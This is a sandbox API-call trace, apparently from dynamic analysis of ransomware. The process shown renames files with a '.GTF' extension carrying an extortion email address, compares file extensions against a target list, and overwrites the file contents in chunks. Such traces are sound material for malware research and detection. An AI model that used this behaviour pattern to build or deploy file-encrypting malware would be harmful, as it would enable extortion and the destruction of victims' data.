	[0070.140] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.141] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
	[0070.141] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.164] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
	[0070.164] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.167] CloseHandle (hObject=0x2d0) returned 1
	[0073.177] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0073.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.202] lstrlenW (lpString=".doc") returned 4
	[0073.204] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0073.207] lstrlenW (lpString=".docx") returned 5
	[0073.208] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0073.208] lstrlenW (lpString=".pdf") returned 4
	[0073.208] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0073.208] lstrlenW (lpString=".xls") returned 4
	[0073.208] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0073.208] lstrlenW (lpString=".xlsx") returned 5
	[0073.208] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0073.208] lstrlenW (lpString=".ppt") returned 4
	[0073.208] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0073.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.208] lstrlenW (lpString=".zip") returned 4
	[0073.208] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0073.208] lstrlenW (lpString=".rar") returned 4
	[0073.208] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0073.208] lstrlenW (lpString=".bz2") returned 4
	[0073.208] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0073.208] lstrlenW (lpString=".7z") returned 3
	[0073.208] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0073.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.208] lstrlenW (lpString=".dbf") returned 4
	[0073.208] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0073.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.208] lstrlenW (lpString=".1cd") returned 4
	[0073.208] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0073.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.208] lstrlenW (lpString=".jpg") returned 4
	[0073.208] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0073.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString=".doc") returned 4
	[0073.209] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0073.209] lstrlenW (lpString=".docx") returned 5
	[0073.209] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0073.209] lstrlenW (lpString=".pdf") returned 4
	[0073.209] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0073.209] lstrlenW (lpString=".xls") returned 4
	[0073.209] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0073.209] lstrlenW (lpString=".xlsx") returned 5
	[0073.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0073.209] lstrlenW (lpString=".ppt") returned 4
	[0073.209] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0073.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString=".zip") returned 4
	[0073.209] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0073.209] lstrlenW (lpString=".rar") returned 4
	[0073.209] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0073.209] lstrlenW (lpString=".bz2") returned 4
	[0073.209] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0073.209] lstrlenW (lpString=".7z") returned 3
	[0073.209] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0073.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString=".dbf") returned 4
	[0073.209] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0073.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString=".1cd") returned 4
	[0073.209] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0073.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0073.209] lstrlenW (lpString=".jpg") returned 4
	[0073.209] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0073.209] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0073.210] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33
	[0073.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.210] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=5198099) returned 1
	[0073.210] CloseHandle (hObject=0x33c) returned 1
	[0073.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0073.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.211] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0073.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.211] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1
	[0073.211] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.211] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a24058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.215] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.215] ReadFile (in: hFile=0x33c, lpBuffer=0x3a64058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a64058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.221] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.221] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.221] ReadFile (in: hFile=0x33c, lpBuffer=0x3aa4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3aa4058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.237] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.237] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0073.714] SetEndOfFile (hFile=0x33c) returned 1
	[0073.715] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f433b0
	[0073.720] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.720] WriteFile (in: hFile=0x33c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.722] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.722] WriteFile (in: hFile=0x33c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.724] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.724] WriteFile (in: hFile=0x33c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.727] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.727] CloseHandle (hObject=0x33c) returned 1
	[0075.489] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0075.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".doc") returned 4
	[0075.490] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString=".docx") returned 5
	[0075.490] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0075.490] lstrlenW (lpString=".pdf") returned 4
	[0075.490] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0075.490] lstrlenW (lpString=".xls") returned 4
	[0075.490] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0075.490] lstrlenW (lpString=".xlsx") returned 5
	[0075.490] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0075.490] lstrlenW (lpString=".ppt") returned 4
	[0075.490] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".zip") returned 4
	[0075.490] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0075.490] lstrlenW (lpString=".rar") returned 4
	[0075.490] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0075.490] lstrlenW (lpString=".bz2") returned 4
	[0075.490] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString=".7z") returned 3
	[0075.490] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".dbf") returned 4
	[0075.490] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".1cd") returned 4
	[0075.490] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".jpg") returned 4
	[0075.490] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.490] lstrlenW (lpString=".doc") returned 4
	[0075.490] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0075.490] lstrlenW (lpString=".docx") returned 5
	[0075.491] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0075.491] lstrlenW (lpString=".pdf") returned 4
	[0075.491] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0075.491] lstrlenW (lpString=".xls") returned 4
	[0075.491] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0075.491] lstrlenW (lpString=".xlsx") returned 5
	[0075.491] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0075.491] lstrlenW (lpString=".ppt") returned 4
	[0075.491] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0075.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.491] lstrlenW (lpString=".zip") returned 4
	[0075.491] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0075.491] lstrlenW (lpString=".rar") returned 4
	[0075.491] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0075.491] lstrlenW (lpString=".bz2") returned 4
	[0075.491] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0075.491] lstrlenW (lpString=".7z") returned 3
	[0075.491] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0075.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.491] lstrlenW (lpString=".dbf") returned 4
	[0075.491] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0075.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.491] lstrlenW (lpString=".1cd") returned 4
	[0075.491] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0075.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0075.491] lstrlenW (lpString=".jpg") returned 4
	[0075.491] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0075.491] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.491] lstrlenW (lpString="meiryo_boot.ttf") returned 15
	[0075.491] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.494] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=145419) returned 1
	[0075.494] CloseHandle (hObject=0x33c) returned 1
	[0075.494] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0075.495] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.495] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.495] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.495] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.495] lstrlenW (lpString=".doc") returned 4
	[0075.495] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString=".docx") returned 5
	[0075.495] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.495] lstrlenW (lpString=".pdf") returned 4
	[0075.495] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString=".xls") returned 4
	[0075.495] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.495] lstrlenW (lpString=".xlsx") returned 5
	[0075.495] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.495] lstrlenW (lpString=".ppt") returned 4
	[0075.495] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.495] lstrlenW (lpString=".zip") returned 4
	[0075.495] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.495] lstrlenW (lpString=".rar") returned 4
	[0075.495] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString=".bz2") returned 4
	[0075.495] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString=".7z") returned 3
	[0075.495] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.495] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.495] lstrlenW (lpString=".dbf") returned 4
	[0075.495] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.495] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.495] lstrlenW (lpString=".1cd") returned 4
	[0075.496] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".jpg") returned 4
	[0075.496] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".doc") returned 4
	[0075.496] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString=".docx") returned 5
	[0075.496] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.496] lstrlenW (lpString=".pdf") returned 4
	[0075.496] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString=".xls") returned 4
	[0075.496] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.496] lstrlenW (lpString=".xlsx") returned 5
	[0075.496] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.496] lstrlenW (lpString=".ppt") returned 4
	[0075.496] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".zip") returned 4
	[0075.496] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.496] lstrlenW (lpString=".rar") returned 4
	[0075.496] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString=".bz2") returned 4
	[0075.496] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString=".7z") returned 3
	[0075.496] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".dbf") returned 4
	[0075.496] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".1cd") returned 4
	[0075.496] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.496] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29
	[0075.496] lstrlenW (lpString=".jpg") returned 4
	[0075.496] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.497] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.497] lstrlenW (lpString="msjhn_boot.ttf") returned 14
	[0075.497] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.497] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=162331) returned 1
	[0075.497] CloseHandle (hObject=0x33c) returned 1
	[0075.497] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0075.497] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.497] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.497] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.497] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.497] lstrlenW (lpString=".doc") returned 4
	[0075.497] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.497] lstrlenW (lpString=".docx") returned 5
	[0075.497] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.497] lstrlenW (lpString=".pdf") returned 4
	[0075.497] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.497] lstrlenW (lpString=".xls") returned 4
	[0075.497] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.497] lstrlenW (lpString=".xlsx") returned 5
	[0075.497] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.497] lstrlenW (lpString=".ppt") returned 4
	[0075.498] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".zip") returned 4
	[0075.498] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.498] lstrlenW (lpString=".rar") returned 4
	[0075.498] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString=".bz2") returned 4
	[0075.498] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString=".7z") returned 3
	[0075.498] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".dbf") returned 4
	[0075.498] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".1cd") returned 4
	[0075.498] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".jpg") returned 4
	[0075.498] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".doc") returned 4
	[0075.498] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString=".docx") returned 5
	[0075.498] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.498] lstrlenW (lpString=".pdf") returned 4
	[0075.498] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString=".xls") returned 4
	[0075.498] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.498] lstrlenW (lpString=".xlsx") returned 5
	[0075.498] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.498] lstrlenW (lpString=".ppt") returned 4
	[0075.498] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.498] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.498] lstrlenW (lpString=".zip") returned 4
	[0075.498] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.499] lstrlenW (lpString=".rar") returned 4
	[0075.499] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.499] lstrlenW (lpString=".bz2") returned 4
	[0075.499] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.499] lstrlenW (lpString=".7z") returned 3
	[0075.499] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
